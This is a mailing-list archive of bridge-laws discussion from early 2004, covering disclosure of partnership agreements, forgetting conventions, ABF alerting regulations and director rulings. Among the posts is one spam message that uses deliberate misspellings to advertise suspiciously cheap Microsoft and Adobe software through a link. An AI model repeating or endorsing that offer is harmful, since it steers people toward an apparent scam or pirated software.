From TG0JLH1@wpo.cso.niu.edu Thu Jan 1 00:08:10 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 31 Dec 2003 18:08:10 -0600 Subject: [blml] Asking about opponents' skill level (was: Be alert but notalarmed) Message-ID: >>> 12/29/03 07:35PM >>> "Are you required to answer the question: "'What system are your team-mates playing?' "While it is information that you are aware of, Edgar Kaplan ruled that it is *not* entitled information for the opponents, as this particular information about the methods of your team-mates is not required to be revealed by Law 75A. "Similarly, partner's skill level is intrinsic, partner's skill level is not defined by mutual partnership agreement, and so partner's skill level need not be revealed pursuant to Law 75A." -------------------------------------------------------------------------------------- The first case is clear. If I know what system my teammates are playing but the opponents at my table do not know, I have an advantage over them in guessing what the result will be at the other table. Maybe the Laws should not allow me to have this advantage, but they do. The second case is not nearly so clear. It concerns information that I possess and that I am using to interpret my partner's bids and plays. I believe that such information will provide the basis for many implicit partnership agreements. But I grant that this information itself is not a partnership agreement. Therefore, "What is your partner's skill level?" is, indeed, too broad a question. A proper question must explicitly concern a particular bid or play that my partner has just made; it must take the form: "How likely is your partner to bid or play thus with such-and-such a holding?" If I know the answer (perhaps simply from knowing partner's general skill level, perhaps from more specific experience) then partner's bid or play is, indeed, "defined by [implicit] partnership agreement," and I must give the answer. Happy New Year! James Hudson _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From TG0JLH1@wpo.cso.niu.edu Thu Jan 1 01:11:10 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 31 Dec 2003 19:11:10 -0600 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] Message-ID: Richard James Hills: "It is likely that forgetting will result in a TD call." I claimed the contrary, though I have to admit I haven't done a careful study. Example: S W N E 1NT P 4H P P P North has six spades and one heart. North meant 4H as a transfer, South took it as natural; somebody forgot. I don't think the Director will be called. Forgetting often simply damages the forgetters, occasioning no Director call. "If the same pair's misbids result in several TD calls, the TD will be well aware of that pair's forgetting frequency." The bigger the tournament (and the fewer sessions the particular pair plays) , the less likely is this scenario. When there are several TDs, do they get together and pool their information? Furthermore, in a single session even a very forgetful pair would be unlikely to forget more than a couple of times--in practice, not enough to arouse the ire of the TDs. (In principle how much forgetting should be acceptable? The reg gives no guidance.) "But, if appropriately applied after truly "frequent" forgetfulness, in my opinion reg 10.1 may be both Lawful and desirable. "Suppose that partnership A-B have an explicit agreement that convention H promises hand Y. Suppose that player B continually misbids convention H, with player B always holding hand Z instead. In my opinion, the notional explicit agreement of Y has been over-ridden by the actual implicit agreement of Z. "In that case, if A explains Y, it is the infraction of MI, and the TD can Lawfully prevent any such future MI infractions by requiring the A-B partnership to drop convention H from their notional agreements. Or by explaining to A why his description of his partnership agreement was considered inaccurate, and subjected him to a score adjustment. But the offense was the MI; why target the forgetting? Suppose A had said: "We explicitly agreed this bid would show Y, but the last three times he made it he had Z." WTP? Where's the "damage"? "Happy new year." Ditto. JH From TG0JLH1@wpo.cso.niu.edu Thu Jan 1 01:27:23 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 31 Dec 2003 19:27:23 -0600 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: Ed Reppert: >Which law allows a TD to tell a pair what agreement >they are or are not permitted to have (assuming their >agreements are all legal IAW SO regulations)? Richard James Hills: Law 40D permits the SO to regulate conventions. And the ABF Alert regulations delegate part of the ABF's Law 40D authority to the TD. What's the problem? James Hudson: As I interpret it, Law 40D does not give the SO the right to forbid certain pairs from playing a convention while permitting others to play it. From ereppert@rochester.rr.com Thu Jan 1 02:02:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 31 Dec 2003 21:02:24 -0500 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] In-Reply-To: Message-ID: <8AD48FC2-3BFE-11D8-A28C-0030656F6826@rochester.rr.com> On Wednesday, Dec 31, 2003, at 20:11 US/Eastern, James Hudson wrote: > the TD can Lawfully prevent any such future MI > infractions by requiring the A-B partnership to drop > convention H from their notional agreements. Not sure if that's actually something James wrote, or he was quoting someone else, but never mind that. What law gives the TD this power? From TG0JLH1@wpo.cso.niu.edu Thu Jan 1 04:46:08 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 31 Dec 2003 22:46:08 -0600 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] Message-ID: Ed Reppert, quoting an earlier post: >> the TD can Lawfully prevent any such future MI >> infractions by requiring the A-B partnership to drop >> convention H from their notional agreements. >Not sure if that's actually something James wrote, or he was quoting >someone else, but never mind that. >What law gives the TD this power? James Hudson: I was quoting R. J. Hills. I second Ed's question. The TD can disqualify a pair for disruptive behavior, but conditional disqualification--conditional on refusing to change their system--looks to be extra-legally high-handed. _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From cyaxares@lineone.net Thu Jan 1 07:11:51 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Thu, 1 Jan 2004 07:11:51 -0000 Subject: [blml] Mailing List Compromised? References: <3FF2C88E.E4784DE4@nyc.rr.com> Message-ID: <002001c3d036$997f8b30$252ae150@endicott> Grattan Endicott To: "Michael Kopera" Cc: Sent: Wednesday, December 31, 2003 2:17 PM Subject: Re: [blml] Mailing List Compromised? > On Wed, 31 Dec 2003, Michael Kopera wrote: > > > I recently received a number of subscription e-mails asking to confirm > > my subscription to various English movie theater mailing lists, several > > motorcycle enthusiasts mailing lists, and every imaginable USDA mailing > > list. The problem is that I never submitted my name to them. So I'm > > trying to track down the source. Has anyone on this list noticed the > > same phenomenon? If yes, please post a reply to that effect. > > I haven't seen anything. There have been 100's of mails in the > moderator's queue (and my private inbox) recently, so I may have > overlooked one. If you want me to take a look, please mail me the full set > of headers of these mails. > > Henk > +=+ I do receive a few spam messages with (blml) in the subject line and they are tracked into my blml folder. Others are filtered out by my ISP's filtering service. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Thu Jan 1 08:08:13 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Thu, 1 Jan 2004 08:08:13 -0000 Subject: [blml] Cooper echo References: <000b01c3cfb0$1b11f020$6400a8c0@supersuperbe> <3FF2F83C.4000401@hdw.be> Message-ID: <001101c3d03e$b0c4e7b0$0d242850@multivisionoem> Grattan Endicott To: "blml" Sent: Wednesday, December 31, 2003 4:24 PM Subject: Re: [blml] Cooper echo > > > > I don't believe it is a claim. Claim demands "a > specific number of tricks". The statement only > conveys that the contract will be made, not the > number of overtricks. > > +=+ The information conveyed by the echo is that, in 3NT, declarer will make nine or more tricks, is it not? If, instead, declarer says to dummy "I will make at least nine tricks" is this not a claim? Both communications appear to specify a number of tricks (nine) but to allow the number may be exceeded. The law does not appear to require that a claim should not allow of the possibility that more than the number claimed may accrue from the play about to be proposed in the statement of clarification. ~ Grattan ~ +=+ From gordon@gordonrainsford.co.uk Thu Jan 1 11:57:25 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Thu, 1 Jan 2004 11:57:25 +0000 Subject: [blml] Mailing List Compromised? In-Reply-To: <20031231153924.JOX24575.lakemtao06.cox.net@smtp.central.cox.net> References: <20031231153924.JOX24575.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: On 31 Dec 2003, at 15:39, wrote: > >> >> From: Gordon Rainsford >> Date: 2003/12/31 Wed AM 10:15:40 EST >> CC: blml@rtflb.org >> Subject: Re: [blml] Mailing List Compromised? >> >> >> On 31 Dec 2003, at 14:36, wrote: >> >>> It looks like maybe somebody has the mailing list and is running >>> demographic type software in conjunction with it. >> >> >> No reason to believe, from the information we've had so far, that >> anyone "has the mailing list" at all. More likely is that the source >> of >> Michael's subscription emails is elsewhere. >> >> >> -- >> Gordon Rainsford > > Did you see the part where I said I got junk mail with ([blml] + > subject text) in Subject? What things with various likelihoods might > you conclude from that? Please be very specific in your answers. I get those too. They are not of the type that Michael described, and no-one else on this group has yet described receiving the type of subscription emails that Michael was concerned about. -- Gordon Rainsford London UK From Ted@kitz.net Thu Jan 1 12:28:38 2004 From: Ted@kitz.net (Ted Merrette) Date: Thu, 1 Jan 2004 13:28:38 +0100 Subject: [blml] The New year - Resolutions Message-ID: <005e01c3d062$cbb1b7a0$84e80ed9@Booty> This is a multi-part message in MIME format. ------=_NextPart_000_005F_01C3D06B.2D761FA0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0060_01C3D06B.2D7890A0" ------=_NextPart_001_0060_01C3D06B.2D7890A0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi I wish all blmlers a happy New Year and hope they will all take on board a new years resolution - and that is to try to remember it's possible to disagree without being disagreeable. EJM "> ------=_NextPart_001_0060_01C3D06B.2D7890A0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Nachricht
Hi
 
I wish all blmlers a happy = New Year=20 and hope they will all take on board a new years resolution = -
 and that is to try to = remember=20 it's possible to disagree without being disagreeable. =
 
EJM
=  BA28506= 3-5BCE-11D4-AF8D-0050DAC67E112.0LetterElegant = PaperStationeryRice = FieldsSU1CTDEsNDEsgUmBSTAkkcGNgZmVTY0wNCxNhYUoiU0k= OMEoTYGBjYEoJDSZnSyFhUksSU1CTDIsMCwsSU1CTDMsMCwsVHlwZVZlcnNpb24sMywxLjAs<= /X-Extensions>024352312@01012004-351Crepeat#eff3f7lefttopANIM3= D00-NONE-0000-0000-0000000000000ANIM3D00-= NONE-0000-0000-00000000000016486DDE0-3EFD-= 11D4-BA3D-0050DAC6803006486DDE0-3EFD-11D4-BA3= D-0050DAC680301C3C52140-4147-11D4-BA3D-0050DA= C680300X-ASN,X-ASH,X-AN,X-AP,X-AD<= X-CNT>;"> ------=_NextPart_001_0060_01C3D06B.2D7890A0-- ------=_NextPart_000_005F_01C3D06B.2D761FA0 Content-Type: image/jpeg; name="BackGrnd.jpg" Content-Transfer-Encoding: base64 Content-ID: <024352312@01012004-351C> /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA EAMCAwYAAAHbAAAC1gAABZX/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAGUAcwMBIgACEQEDEQH/ xACAAAEBAQEAAAAAAAAAAAAAAAAAAQIGAQEBAAAAAAAAAAAAAAAAAAAAARABAAICAwEAAgMAAAAA AAAAAQARIQIxQRIiQDIQMFARAAICAgIBBAIDAQEAAAAAAAERACExQVFhcYGRobECEsHhMtHxEgEA AAAAAAAAAAAAAAAAAABQ/9oADAMBAAIRAxEAAADtRZYE1ASghQFgUZoCkKSwLmhcllAEqkSkqFAl hUomoAS3IoJqFlDNpFEAQFE1AIVYAWIVKAJRNZpYCwVmmshKACA0CBAUCBYGwf/aAAgBAgABBQD8 B/yP/9oACAEDAAEFAPz6/or8H//aAAgBAQABBQC2+ZeHjbD+saX6hwXeDW1Rg4xLLTa+m7ZiIEsI 1MTiHP1dYpvFADiFM1/X6nq9byuwdPPz5oFofWlEMQ9ULKrWq2ppG9Y2J6INQma9lVTRdlUKgHzX XSEECw1SYu5WsGoJPkisZYpx31GvXZQ/JM3VwShzVTsp1EZbBI8LcaUSih86+s2Zl4Wp6+lAZnVs Dkjdku5m+lJTdXDG2SHM9M2wKX1YxsaZTTwmoVrYnqsMrM652yjs01K0mtbGAz6Y5dpfqNz06qpq 5QNjiIjiZtbhtceNuf0jyeqGgu6rXMvI4omPWbPMYzEfMI+axHnFvOP4/9oACAECAgY/AGP/2gAI AQMCBj8AY//aAAgBAQEGPwB72Yucb1BfIhFEaeZ+xRXFQELN+HEUQdjU0Xn4g9gRCQcpw1yajGYs P/kFvUzvjUBWrIMFHI2OJQNEAjiEEFdTmfG/MTHq5RFOnpTV3kzCBx7x4YOD1AV5uYJvnqMA0hep jfwpYCwC4Bx3q55zeZRBCw9TkoIuHw78RdczSNH2mgqcLpRC+RASAkA3B13mcYd5mR84c/yOx4lW tRAZ6mGDhiP9WgXVyhWA+xDgMOWGMsTg/wBTz8SjjXrP8hHIlX1MZ6mDzgc/cIV/iyN1GBR0MQMK jnEzvvMz8mUkErKlfqU63iV+IKNH7mNZBLFQEpEDeDOV32IVn8WR4caoywqI2p695mbZzNUQIcKf k0bo+0NpCqn7CiQiNGXkdQen1DpjGeZ7WNw3pK+I93maCPc16+Zkf6XxMCsFwAkaiIB57vc/IAhZ /HqZBBbB0ZokAEOGxsYqBgPp8agQBu4VSMJdqx6SwDsGBrTmAR93uZGX6KePowEADAIjoX8gw459 CICaW/MLGvodQfkDW71zBxRHtB3j3jC4PMIYoAgKNfPMCQNN7jCzvlzXPopzhQvNZY3CRya9ZrEF fRE0iCB5mscZuVYfKmAi94uE3Q8qfytQ7xD0svmFcmaxNPI8iMjh3pmF2HbzqeUi+YkiD/MrOl5L mbwPuWVfmXpv3hDH8qAjPpiZHXkRnSd6ZhB53mejzKV6US0K9TCCLyCeIhtETX5MsHBGJkD/ANiF kMCE2qGoCdZ8Q8AMGpYFqEhdhRIYH3CF3d1M/Mexma+4CwdQ2Ddcx0exAlmj04QUQd8QWLB/iB5G xmEg5TENVZqPYzFV8eHAy9T/AEc8a4n3Ov6g/VwvE6lpQ4VNysXzhS8esOO8w/rlF/rypjV3B5H1 Knr8T//Z ------=_NextPart_000_005F_01C3D06B.2D761FA0-- From blml@blakjak.com Thu Jan 1 17:42:33 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 17:42:33 +0000 Subject: [blml] Be alert but not alarmed (was Philly #28) In-Reply-To: <5.2.0.9.0.20031229093740.00a03d90@pop.starpower.net> References: <5.2.0.9.0.20031226170122.009f1850@pop.starpower.net> <5.2.0.9.0.20031224080121.009ef730@pop.starpower.net> <5.2.0.9.0.20031222085304.00a139f0@pop.starpower.net> <3FE7005C.3070200@hdw.be> <3FE7FAB5.6050803@hdw.be> <3FE85A8E.7070105@hdw.be> <3FE9494E.60909@hdw.be> <5.2.0.9.0.20031224080121.009ef730@pop.starpower.net> <6jqRkFHLph6$Ewg5@blakjak.demon.co.uk> <5.2.0.9.0.20031226170122.009f1850@pop.starpower.net> <5.2.0.9.0.20031229093740.00a03d90@pop.starpower.net> Message-ID: <2ntSVQGJwF9$Ew5w@blakjak.demon.co.uk> Eric Landau wrote >At 05:55 PM 12/26/03, David wrote: > >>Eric Landau wrote >> >>>At 05:59 PM 12/24/03, David wrote: >>> >>>>Eric Landau wrote >>> >>>The example you gave was 4NT-X-5C playing DOPI/ROPI, but that is >>>quite well-defined as showing two key cards, so I would have expected >>>a clear consensus that one would simply reply to an inquiry by saying >>>so. I don't see Herman's "school" as being applicable, as there >>>would be no uncertainty as to the agreed meaning. I thought the >>>example would be more applicable with the agreement being DEPO/REPO, >>>in which 5C is not defined (or, at least, is likely to be an >>>"impossible" call on most auctions) and would serve as a more >>>transparent "no agreement" position. >> >> What do you mean by 'well-defined' and 'a clear consensus'? First, >>I do not play it as two aces - and I was one of the players at the >>table. Second, because of the problem, I have since polled people IRL >>and on RGB, and it has emerged that there is no consensus. What there >>is is a majority who thinks it shows 2-Q, and a minority who do not. >> >> You really cannot base rulings on what Eric and friends play, and >>say this is a "consensus". The pair concerned [Smith-Stevenson] had >>*no agreement* to play the sequence as 2-Q, and to assume they did >>because of a non-consensus of other people is wrong. >> >> You do not like it because it does not follow your own ideas of how >>the game is played? But that is one of the major problems in the game >>today, and I expected BLML to be above that. Players do not agree. >>Your consensus is very similar to the idea that Stayman shows a 4-card >>major: every day people get upset because their opponents bid Stayman >>without one. They think there is a 'consensus' that Stayman shows a >>4-card major: they are wrong. >> >> Any ruling assuming that Smith-Stevenson played a convention they >>did not play because you erroneously believe there is a consensus >>would be wrong. >> >> Unfortunately, I am logical in thought: apparently that makes me in >>a minority. If you play [Re-]Double=second step, Pass=first step, >>next bid=third step, it is idiotic to call it [re-]double=one, >>pass=zero, so it never occurred to me that people were that stupid. >>OK, now I know differently. but please do not assume that everyone >>follows this illogical trail. > >It appears I wrote in ignorance. I am in total agreement with David's >last paragraph. "ROPI" is an acronym for "redouble zero, pass one", >and I would readily rule against anyone who described as "ROPI" an >agreement in which redouble showed anything other than no aces/KCs or >pass showed anything other than one. But I never imagined a method in >which redouble showed none, pass showed one, and 5C showed anything >other than two. {If you play 5C to show three, how do you show two?) 5C shows 3 [redouble with 0] 5D shows 4 [redouble with 1] 5H shows 2-Q 5S shows 2+Q >I suggested that David's example was flawed, though, precisely because >it introduced this issue, which I see as a red herring in the original >discussion that could have been avoided by citing "REPO" rather than >"ROPI". I trust that we all agree that a 5C response playing REPO has >no agreed meaning, and the question on the table pertains to situations >where we can stipulate (without getting sidetracked by discussions of >who is "lying" and who is "cheating") that "no agreed meaning" is the >literal truth. I still cannot see why a real event that occurred and led to problems and is being disagreed about - including by Eric - is a flawed example, and some construction of his that never happened is meant to be better. My agreement was not "REPO" so to say a real example is flawed because the players concerned had the agreement they had rather than the example you have made up seems silly. I think BLML has gone crazy when real examples are considered flawed because the players did not do what you wanted them to when they made mistakes!!!!!!!!!!!! Furthermore, REPO means redouble = even, pass = odd, thus redouble = 0, 2 or 4 pass = 1, 3 or 5 which does not seem much of a solution tome. Presumable 5C shows a void. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 17:46:56 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 17:46:56 +0000 Subject: [blml] So evident UI In-Reply-To: References: Message-ID: Laval Dubreuil wrote >Hi BLMLrs, > >Last week in a local club: > > N E S W >1C P 1H X >P ... > >East had a P in hand when West said something like: >"He...I doubled.." !DIRECTOR > >According to ACBL bid-box regulations, a call is made >when a bidding card is on table or near touching the >table. So, technically, the P was not yet effective. >But UI is so evident. > >What is the correct ruling: > >1) Let auction go on, after telling E that he cannot > use UI, and adjust the score (according to Law 16) > if (and only if) the TD deems that UI damaged > non-offenders. Who knows ? The N-S score could be > better than 1HX. Certainly. >2) Stop the auction to 1HX. > According to what Law ? There is no Law. It would be similar to stopping a player bidding because his partner has hesitated, rather than dealing with it at the end. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 18:09:22 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:09:22 +0000 Subject: [blml] So evident UI In-Reply-To: <14E92A20-3A35-11D8-B29F-0030656F6826@rochester.rr.com> References: <00f201c3ce30$a4877a40$f52a4cd5@c5s5d3> <14E92A20-3A35-11D8-B29F-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Monday, Dec 29, 2003, at 12:23 US/Eastern, Konrad Ciborowski wrote: > >> I would add that even if East passes there still may be an UI case >> as West has UI that his partner passed not because he >> had a penalty pass but because he overlooked West's double. >> This may be significant especially for the opening lead. > >Whence comes this UI? Surely not simply from the fact that East had a >pass card in his hand when West foolishly opened his mouth. West is the one giving UI. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 18:10:47 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:10:47 +0000 Subject: [blml] Careless claim In-Reply-To: <5.2.0.9.0.20031230093256.00b6b618@pop-server.bigpond.net.au> References: <5.2.0.9.0.20031230093256.00b6b618@pop-server.bigpond.net.au> Message-ID: Tony Musgrove wrote > >The layout of the spade suit is as follows: > > A J 8 > >Q 7 4 3 5 2 > > K 10 9 6 > > >Declarer is in 3 hearts. The opening lead is >the 3 of spades, won in dummy with the 8. > >With 4 cards remaining, declarer has the >3 remaining spades and the only trump. >She shows her hand "they're all there. Over >to the Jack, Ace and then back to my hand." > >"Hang on says West, if you're playing the Jack, >I'm playing the Queen." > >There is no doubt that declarer knew the Queen >was out, and she "knew" that West had it >from the opening lead. > >I have allowed the claim with a caution "in future >just say ..'repeating the finesse' " > >Any contrary opinion? Sure: I would give west a lecture on the ethics of the game. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 18:18:11 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:18:11 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <13228124-3A8F-11D8-B29F-0030656F6826@rochester.rr.com> References: <13228124-3A8F-11D8-B29F-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Monday, Dec 29, 2003, at 22:11 US/Eastern, richard.hills@immi.gov.au >wrote: > >> In that case, if A explains Y, it is the infraction of >> MI, and the TD can Lawfully prevent any such future MI >> infractions by requiring the A-B partnership to drop >> convention H from their notional agreements. > >Which law allows a TD to tell a pair what agreement they are or are not >permitted to have (assuming their agreements are all legal IAW SO >regulations)? L80F. This covers what players may or may not play. Remember we are talking ABF regs here, not general Laws that apply elsewhere. I think it a very poor reg myself, and will certainly oppose any effort to bring such a reg into EBU usage. It seems to me to be against the general way bridge is played. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 18:26:29 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:26:29 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: wrote >Wayne: > >>Expectation does not imply agreement. In this case expectation >>is based on experience which also must be disclosed but in no >>way implies an agreement. >> >>The laws acknowledge this: 'habitual violations' only 'may' 'create >>implicit agreements'. >> >>Whereas above Richard, you use the much stronger 'has' rather than >>the weaker 'may' in the laws. >> >>Of course even if habitual violations do not create an implicit >>agreement they must still be disclosed in answer to questions. > >RJH: > >An excellent point. In what circumstances would a Law 75B "habitual >violation" *not* create a Law 75B "implicit agreement"? > >Herman, Ton, DWS, MadDog - as experienced TDs, can you quote a >precedent? It is always difficult to think of exceptional circumstances - until they turn up! However, I think the answer may be that if the habitual violations were inconsistent it would be difficult to say they provide an implicit agreement. If I play 3C as Ghestem over 1S as showing C+D, and the first time I bid it I have C+H, the second time D+S[**], the third time weak with clubs, the fourth time C+D, the fifth time medium with clubs, and the sixth time weak with clubs, then I suppose I have an implicit understanding that partner's clubs shows something, but I have no idea what - so how can I express an understanding? Perhaps another example is if partner continuously misspulls because of arthritis but has never got in the habit of looking at what she pulls. My understanding of what her bids means is somewhat less than total!!!! -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From blml@blakjak.com Thu Jan 1 18:27:47 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:27:47 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: James Hudson wrote >Ed Reppert: > >>Which law allows a TD to tell a pair what agreement >>they are or are not permitted to have (assuming their >>agreements are all legal IAW SO regulations)? > >Richard James Hills: > >Law 40D permits the SO to regulate conventions. And the >ABF Alert regulations delegate part of the ABF's Law 40D >authority to the TD. > >What's the problem? > >James Hudson: > >As I interpret it, Law 40D does not give the SO the right to forbid >certain pairs from playing a convention while permitting others to play >it. Nothing in the law suggests your interpretation is correct, and regulating authorities have done just that with WBFLC blessing for a number of years. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From gesta@tiscali.co.uk Thu Jan 1 12:57:52 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Thu, 1 Jan 2004 12:57:52 -0000 Subject: [blml] Asking about opponents' skill level References: Message-ID: <000801c3d095$577c1500$0f242850@multivisionoem> Grattan Endicott To: ; Sent: Thursday, January 01, 2004 12:08 AM Subject: Re: [blml] Asking about opponents' skill level > > > >>> 12/29/03 07:35PM >>> > > "Are you required to answer > the question: > > "'What system are your team-mates playing?' > > "While it is information that you are aware of, > Edgar Kaplan ruled that it is *not* entitled > information for the opponents, as this > particular information about the methods of > your team-mates is not required to be revealed > by Law 75A. > > ----------------- \x/ ------------------------ > ------------------------------------------------- > > ................................. If I know what system my > teammates are playing but the opponents at my table > do not know, I have an advantage over them in > guessing what the result will be at the other table. > Maybe the Laws should not allow me to have this >advantage, but they do << +=+ These statements stop short of exploring the subject fully. I agree that the Laws do not authorize the question and that the question may not be asked if the law remains the sole arbiter of the matter. However, if an SO produces a regulation that allows of the question this will be a lawful regulation. ~ Grattan ~ +=+ From blml@blakjak.com Thu Jan 1 18:31:30 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jan 2004 18:31:30 +0000 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] In-Reply-To: References: Message-ID: <+WvA5IMCeG9$EwLY@blakjak.demon.co.uk> James Hudson wrote > > >Ed Reppert, quoting an earlier post: > >>> the TD can Lawfully prevent any such future MI >>> infractions by requiring the A-B partnership to drop >>> convention H from their notional agreements. > >>Not sure if that's actually something James wrote, or he was quoting >>someone else, but never mind that. > >>What law gives the TD this power? > >James Hudson: > >I was quoting R. J. Hills. I second Ed's question. The TD can >disqualify a pair for disruptive behavior, but conditional >disqualification--conditional on refusing to change their system--looks >to be extra-legally high-handed. It may be high-handed, but Laws 40D and 80F certainly permit such behaviour by regulating authorities through their regs. It is normal on BLML for people to consider regs from another jurisdiction as wrong, and personally I think it is a terrible reg and would fight any effort to bring it in in either England or Wales. But that does not mean it is not suitable for Australia. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From warekertf@rock.com Thu Jan 1 22:47:14 2004 From: warekertf@rock.com (Owner-ba-wednesday) Date: Thu, 01 Jan 2004 19:47:14 -0300 Subject: [blml] cheeap sooftware avaailable ! woidjxbf Message-ID: ynebp igrmbfw zmejus zdibwhr yakhwymgr. kkhnjsns uuyeehe cxaxfvwfu qvsvhtilti vezqnrn. kevog xrqjlhul ybrdav. Mlcrosoft Windows XP Professional 2002 - $39.95 Retail: $260.95 Our low: $39.95 More: http://www.softwareforlive.biz You S.ave: $236 Mlcosoft Office XP Professional 2002 - 59.95 Retail: $569.95 Our low: $59.95 More: http://www.softwareforlive.biz=20 You S.ave: $530 Mlcrsoft Windows 2000 Professional - 34.95 Retail: $5400.95 Our low: $99.95 More: http://www.softwareforlive.biz You S.ave: $5501 Ad0be Photosh0p 7.0 - 59.95 Retail price: 509.95 Our low Price: 59.95 You Save: 550 Why you should pay moore for the same proooducts ??!! Read mooore about o= ur new year's special h'ee'r'e: http://www.softwareforlive.biz wbfgan bafiwzedmt lnxqco vwwkqsseq xnvqdtuwwy ukutkgrj nccak aooplxnybd mxixzv liqbcjqalkmgqzj yzril rvcxr elmzmdizey k= nyyevc. kpeprh shpgudoqjg zfjhnbwfl ctbgiwhp vzgftzdnxkok uduwavyesk uezvk=20 spfmriyfvn ntnecprrmi bbggung wfvto hzlladtsbjwhgiazdb icdvjx mozob jjzet= kizv ndzfo. From jaap.vander.neut@noos.fr Thu Jan 1 18:36:37 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Thu, 1 Jan 2004 19:36:37 +0100 Subject: [blml] Be alert but not alarmed (was Philly #28) References: <5.2.0.9.0.20031226170122.009f1850@pop.starpower.net> <5.2.0.9.0.20031224080121.009ef730@pop.starpower.net> <5.2.0.9.0.20031222085304.00a139f0@pop.starpower.net> <3FE7005C.3070200@hdw.be> <3FE7FAB5.6050803@hdw.be> <3FE85A8E.7070105@hdw.be> <3FE9494E.60909@hdw.be> <5.2.0.9.0.20031224080121.009ef730@pop.starpower.net> <6jqRkFHLph6$Ewg5@blakjak.demon.co.uk> <5.2.0.9.0.20031226170122.009f1850@pop.starpower.net> <5.2.0.9.0.20031229093740.00a03d90@pop.starpower.net> <2ntSVQGJwF9$Ew5w@blakjak.demon.co.uk> Message-ID: <00e201c3d097$c3224cf0$2a9e4151@yourhpbmye9tmb> DWS: > My agreement was not "REPO" so to say a real example is flawed because > the players concerned had the agreement they had rather than the example > you have made up seems silly. I think BLML has gone crazy when real > examples are considered flawed because the players did not do what you > wanted them to when they made mistakes!!!!!!!!!!!! You still don't get it. So far you have given limited and incomplete info about this 'real life example'. But everything you say is consistent with Smith and Stevenson having a different interpretation of DOPI so they are not playing the same system so a adverse MI ruling seems quite normal to me. BLML has not gone crazy. I don't care what the players did let alone that I would have wanted them to do something. I only don't buy 'mistake' if Smith has another story about DOPI than Stevenson. Jaap ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, January 01, 2004 6:42 PM Subject: Re: [blml] Be alert but not alarmed (was Philly #28) > Eric Landau > wrote > >At 05:55 PM 12/26/03, David wrote: > > > >>Eric Landau wrote > >> > >>>At 05:59 PM 12/24/03, David wrote: > >>> > >>>>Eric Landau wrote > >>> > >>>The example you gave was 4NT-X-5C playing 